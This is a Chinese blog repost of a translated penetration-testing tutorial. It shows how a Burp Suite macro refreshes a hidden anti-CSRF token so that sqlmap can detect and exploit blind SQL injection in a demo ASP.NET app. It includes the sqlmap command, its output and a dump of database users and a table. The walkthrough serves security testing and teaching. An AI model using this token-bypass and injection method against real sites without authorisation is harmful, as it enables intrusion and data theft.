热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

sql注入_实战!使用burpmacros和sqlmap绕过csrf防护进行sql注入

篇首语:本文由编程笔记#小编为大家整理,主要介绍了实战!使用burpmacros和sqlmap绕过csrf防护进行sql注入相关的知识,希望对你有一定的参考价值。

篇首语:本文由编程笔记#小编为大家整理,主要介绍了实战!使用burp macros和sqlmap绕过csrf防护进行sql注入相关的知识,希望对你有一定的参考价值。











 




前言


有很多工具可以用来对web应用进行自动化测试。其中最有名的应当是sqlmap。Sqlmap让你轻松的通过命令行确认和利用SQL注入漏洞。然而,一些像CSRF、tokens或者简单的的反自动化技术如在一个表单中包含一个隐藏值就能够阻止自动化工具正确的工作。Burp Suite中的Macros是一个绕过这些方法去进行自动化测试的优秀方法,虽然它实现起来有些复杂。
在本文中我们将用一个简单的web程序作为例子,用户可以用这个程序搜索动物的图片。


实战!使用burp macros和sqlmap绕过csrf防护进行sql注入 

这是一个使用SQL Server做后端数据库的ASP.NET程序。它有SQL盲注漏洞。我们可以从下图看到。


实战!使用burp macros和sqlmap绕过csrf防护进行sql注入 

如果我们看了一眼源代码,就会发现在一个输入表单中有一个隐藏的GUID token。








1
2
3
4
5
6
7
8
9
10
11

    

        
                
    

    
    
    

    

html>

这个token是每次由服务器端的相应生成的。如果这个发送的token和服务器端的不一致,将会出现一个错误。


实战!使用burp macros和sqlmap绕过csrf防护进行sql注入 

所以考虑到这一点,让我们看看在不使用macro去修改请求时使用sqlmap会发生什么。我们使用以下命令。









1
$ sqlmap -u http://10.99.10.20:8080 --method=POST --data= "__VIEWSTATE=ThFsV9HLtQRaOW3ksjD%2F8jPJ%2BK4oYtIZJ9UZjSdVZecr9MFluyVQIMvZTKyg3Q1eCjcahMgDNYnhBeQIA2FCGq1HaWWj8WE3CPXbXZc5j3I%3D&__VIEWSTATEGENERATOR=CA0B0334&__EVENTVALIDATION=3OHOMEoCmtD5YRvASiOGybpufR%2BFQoZetngO2sq5zb9YFl3HtW%2BBzrISbPZE58dZtG6LsC6qns%2BlotceoeBunvTMcKLH8MIyzmxk3PoHuiWpavLOqJGozuk6py0DvKaWvWHDuFZO1QU2dfG5yPZ29nTLapvb3KcAPWAMDBI25FM%3D&txtQuery=cat&btnSearch=Search&token=77d5a318-c2b0-466d-a4ba-b8c5d155c54f" --proxy=http://127.0.0.1:8080 -p txtQuery

我们从sqlmap的输出中首先注意到的是一个到错误页面的重定向。








1
2
[16:42:45] [INFO] testing connection to the target URL
sqlmap got a 302 redirect to 'http://10.99.10.20:8080/error.html?aspxerrorpath=/default.aspx'. Do you want to follow? [Y/n]

对sqlmap来说,这个情况看起来并没有什么希望。让我们继续看看会发生什么。








1
2
3
4
[16:45:57] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[16:45:58] [INFO] testing 'Oracle AND time-based blind'
[16:45:58] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[16:45:58] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it with option '--dbms'

显然,sqlmap认为这些参数不能注入,然而我们知道可以注入。现在让我们建立一个Burp macro,它将会使用一个新的token替换掉请求中的“token”参数以便于我们使用sqlmap。

Burp Suite中的macro是在Burp中代理的请求之前被发送到服务器端的一系列请求。一旦macro请求被执行,最后一个macro响应中的一系列参数能够被接下来的请求所携带。这就叫做macro。
首先我们要做的就是标记我们想要使用的一系列请求。在这个例子中只有一个请求:一个发往服务器的Get请求。然而Macro可以用来执行复杂的操作。比如登陆到一个应用然后取出COOKIEs。在Burp Suite中点击“Project options”标签然后点击其中的“Sessions”子标签。


实战!使用burp macros和sqlmap绕过csrf防护进行sql注入 

滚动到Macro部分然后点击add。


实战!使用burp macros和sqlmap绕过csrf防护进行sql注入 

两个对话框将会弹出。第一个是macro编辑器,第二个是macro记录器。为了确定我们将要执行的是哪些请求,我们需要“记录”我们想要生成的macro。可以通过两步实现它:现在我们可以执行一些动作作为macro的一部分(例如:浏览登陆页面,发送特定的Get请求等等)。然后在列表中选择它们。或者我们可以直接从代理历史中选择。看来我们只是寻找一个请求,我们已经做了,我们将使用第二个选项。


实战!使用burp macros和sqlmap绕过csrf防护进行sql注入 

一旦我们选中期望的请求,就点击OK键,然后我们就进入到macro编辑器。


实战!使用burp macros和sqlmap绕过csrf防护进行sql注入 

从这里开始我们需要对已经被拦截的请求做一些小改动。对于高亮的请求,我们点击“Configure item”。“Configure Macro itme”对话框将会弹出。然后我们点击“Custom parameter location in response”部分的add按钮。


实战!使用burp macros和sqlmap绕过csrf防护进行sql注入 

然后我们需要在响应中定位参数。高亮我们想要提取的值然后为参数命名以便于在macro完成的时候它能够被最后的请求带上。


实战!使用burp macros和sqlmap绕过csrf防护进行sql注入 

“Define start and end”部分将被自动填充当我们在响应中高亮需要的值。其他的就按照默认值就可以了。点击OK直到关闭所有对话框。
现在我们生成了自己的macro。但是我们仍然需要实现一个会话処理规则(session handling rule)使macro在需要的时候执行。在Session标签中找到“Session Handling Rules”部分然后点击add按钮。


实战!使用burp macros和sqlmap绕过csrf防护进行sql注入 

当对话框弹出时点击在“Rule Actions”下面的add按钮,在下拉菜单中选择“Run a Macro”。


实战!使用burp macros和sqlmap绕过csrf防护进行sql注入 

然后“Session Handling Action Editor”就会出现。在这里我们选择自己的macro。
选择“Update only the following parameters”然后将我们的参数添加到这个列表中。如果我们想要基于macro修改COOKIEs,我们也可以将其添加到这里。在这个例子中并没有COOKIEs被设置。


 

点击OK关闭对话框然后点击Session Handling Rule Editor中的“Scope”标签。


 

在这里我们将要定义受规则影响的请求的范围。在“Tools Scope”中代理并没有被默认选中(如果没有设置好这会影响到每一个经过Burp的请求)。为了在sqlmap中使用这个规则,我们需要使这个规则在代理中启用。为了限制使用范围我们使用“Use suite scope”选项将其设置为只在测试站点使用。最后,我们限制“Parameter Scope”只影响包含token参数的请求,这是我们唯一要修改的。最后点击OK关闭对话框。
这些就是我们需要为sqlmap设置的所有选项。现在当sqlmap的请求经过Burp代理时,Burp就会先发送一个请求到服务器然后用从中得到的token参数替换sqlmap的post请求中的参数值。
N.B:Burp不会在代理历史中展示被修改的请求。如果你认为macro并未正确的工作。你需要在Session标签Project选项中打开sessin tracer。这个能够用来一步一步的移动每个请求然后你就可以观察请求中的变化了。
一旦macro被启动sqlmap就能够正确的在我们的网站中检测出SQL注入然后利用它。









1
2
3
4
5
6
7
8
[20:38:09] [INFO] POST parameter 'txtQuery' appears to be 'Microsoft SQL Server/Sybase stacked queries (comment)' injectable
[20:38:09] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[20:38:09] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF - comment)'
[20:38:19] [INFO] POST parameter 'txtQuery' appears to be 'Microsoft SQL Server/Sybase time-based blind (IF - comment)' injectable
[20:38:19] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[20:38:19] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[20:38:19] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the timeneeded to find the right number of query columns. Automatically extending the range forcurrent UNION query injection technique test
[20:38:19] [INFO] target URL appears to have 1 column in query

正如你看到的那样,sqlmap发现了参数可注入而且现在我们可以使用sqlmap提取数据了。









1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[20:41:46] [INFO] fetching database users
[20:41:46] [WARNING] reflective value(s) found and filtering out
[20:41:46] [INFO] the SQL query used returns 2 entries
[20:41:46] [INFO] retrieved: animals
[20:41:47] [INFO] retrieved: sa
database management system users [2]:                                                                                                                                                                             


  • animals


  • sa
    <…SNIP…>
    [20:42:44] [INFO] analyzing table dump for possible password hashes
    Database: Animals
    Table: AnimalImages
    [4 entries]
    +----+-----------+-------------+
    | ID | imageData | description |
    +----+-----------+-------------+
    | 1  |  blank    | dog         |
    | 2  |  blank    | cat         |
    | 3  |  blank    | mouse       |
    | 4  |  blank    | musk ox     |
    +----+-----------+-------------+





本文由 安全客 翻译,作者:派大星。
原文链接:https://www.cyberis.co.uk/burp_macros.html



推荐阅读
  • 这是原文链接:sendingformdata许多情况下,我们使用表单发送数据到服务器。服务器处理数据并返回响应给用户。这看起来很简单,但是 ... [详细]
  • 知识图谱——机器大脑中的知识库
    本文介绍了知识图谱在机器大脑中的应用,以及搜索引擎在知识图谱方面的发展。以谷歌知识图谱为例,说明了知识图谱的智能化特点。通过搜索引擎用户可以获取更加智能化的答案,如搜索关键词"Marie Curie",会得到居里夫人的详细信息以及与之相关的历史人物。知识图谱的出现引起了搜索引擎行业的变革,不仅美国的微软必应,中国的百度、搜狗等搜索引擎公司也纷纷推出了自己的知识图谱。 ... [详细]
  • 本文介绍了南邮ctf-web的writeup,包括签到题和md5 collision。在CTF比赛和渗透测试中,可以通过查看源代码、代码注释、页面隐藏元素、超链接和HTTP响应头部来寻找flag或提示信息。利用PHP弱类型,可以发现md5('QNKCDZO')='0e830400451993494058024219903391'和md5('240610708')='0e462097431906509019562988736854'。 ... [详细]
  • PDO MySQL
    PDOMySQL如果文章有成千上万篇,该怎样保存?数据保存有多种方式,比如单机文件、单机数据库(SQLite)、网络数据库(MySQL、MariaDB)等等。根据项目来选择,做We ... [详细]
  • JavaWeb中读取文件资源的路径问题及解决方法
    在JavaWeb开发中,读取文件资源的路径是一个常见的问题。本文介绍了使用绝对路径和相对路径两种方法来解决这个问题,并给出了相应的代码示例。同时,还讨论了使用绝对路径的优缺点,以及如何正确使用相对路径来读取文件。通过本文的学习,读者可以掌握在JavaWeb中正确找到和读取文件资源的方法。 ... [详细]
  • 这座城市多了十只伤心的鸽
    这个作业属于哪个课程2021春软件工程实践|W班(福州大学)这个作业要求在哪里团队第四次作业这个作业的目标设计项目原型、制作项目需求规格说明书团队名称这座城市多了十只伤心的鸽其他参 ... [详细]
  • 深入浅出JWT
    JWT(JSONWEBTOKEN)的组成https:jwt.ioheader(头部)承载两部分信息:声明 ... [详细]
  • HTMLformwithoutCSRFprotectionHTML表单没有CSRF保护CSRF是伪造客户端请求的一种攻击,CSRF的英文全称是CrossSiteRequestFor ... [详细]
  • 基于PgpoolII的PostgreSQL集群安装与配置教程
    本文介绍了基于PgpoolII的PostgreSQL集群的安装与配置教程。Pgpool-II是一个位于PostgreSQL服务器和PostgreSQL数据库客户端之间的中间件,提供了连接池、复制、负载均衡、缓存、看门狗、限制链接等功能,可以用于搭建高可用的PostgreSQL集群。文章详细介绍了通过yum安装Pgpool-II的步骤,并提供了相关的官方参考地址。 ... [详细]
  • EPICS Archiver Appliance存储waveform记录的尝试及资源需求分析
    本文介绍了EPICS Archiver Appliance存储waveform记录的尝试过程,并分析了其所需的资源容量。通过解决错误提示和调整内存大小,成功存储了波形数据。然后,讨论了储存环逐束团信号的意义,以及通过记录多圈的束团信号进行参数分析的可能性。波形数据的存储需求巨大,每天需要近250G,一年需要90T。然而,储存环逐束团信号具有重要意义,可以揭示出每个束团的纵向振荡频率和模式。 ... [详细]
  • 本文介绍了使用postman进行接口测试的方法,以测试用户管理模块为例。首先需要下载并安装postman,然后创建基本的请求并填写用户名密码进行登录测试。接下来可以进行用户查询和新增的测试。在新增时,可以进行异常测试,包括用户名超长和输入特殊字符的情况。通过测试发现后台没有对参数长度和特殊字符进行检查和过滤。 ... [详细]
  • http:my.oschina.netleejun2005blog136820刚看到群里又有同学在说HTTP协议下的Get请求参数长度是有大小限制的,最大不能超过XX ... [详细]
  • 本文介绍了在Mac上搭建php环境后无法使用localhost连接mysql的问题,并通过将localhost替换为127.0.0.1或本机IP解决了该问题。文章解释了localhost和127.0.0.1的区别,指出了使用socket方式连接导致连接失败的原因。此外,还提供了相关链接供读者深入了解。 ... [详细]
  • Imtryingtofigureoutawaytogeneratetorrentfilesfromabucket,usingtheAWSSDKforGo.我正 ... [详细]
  • 本文讨论了如何在codeigniter中识别来自angularjs的请求,并提供了两种方法的代码示例。作者尝试了$this->input->is_ajax_request()和自定义函数is_ajax(),但都没有成功。最后,作者展示了一个ajax请求的示例代码。 ... [详细]
author-avatar
黒彡白小彩电邦
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有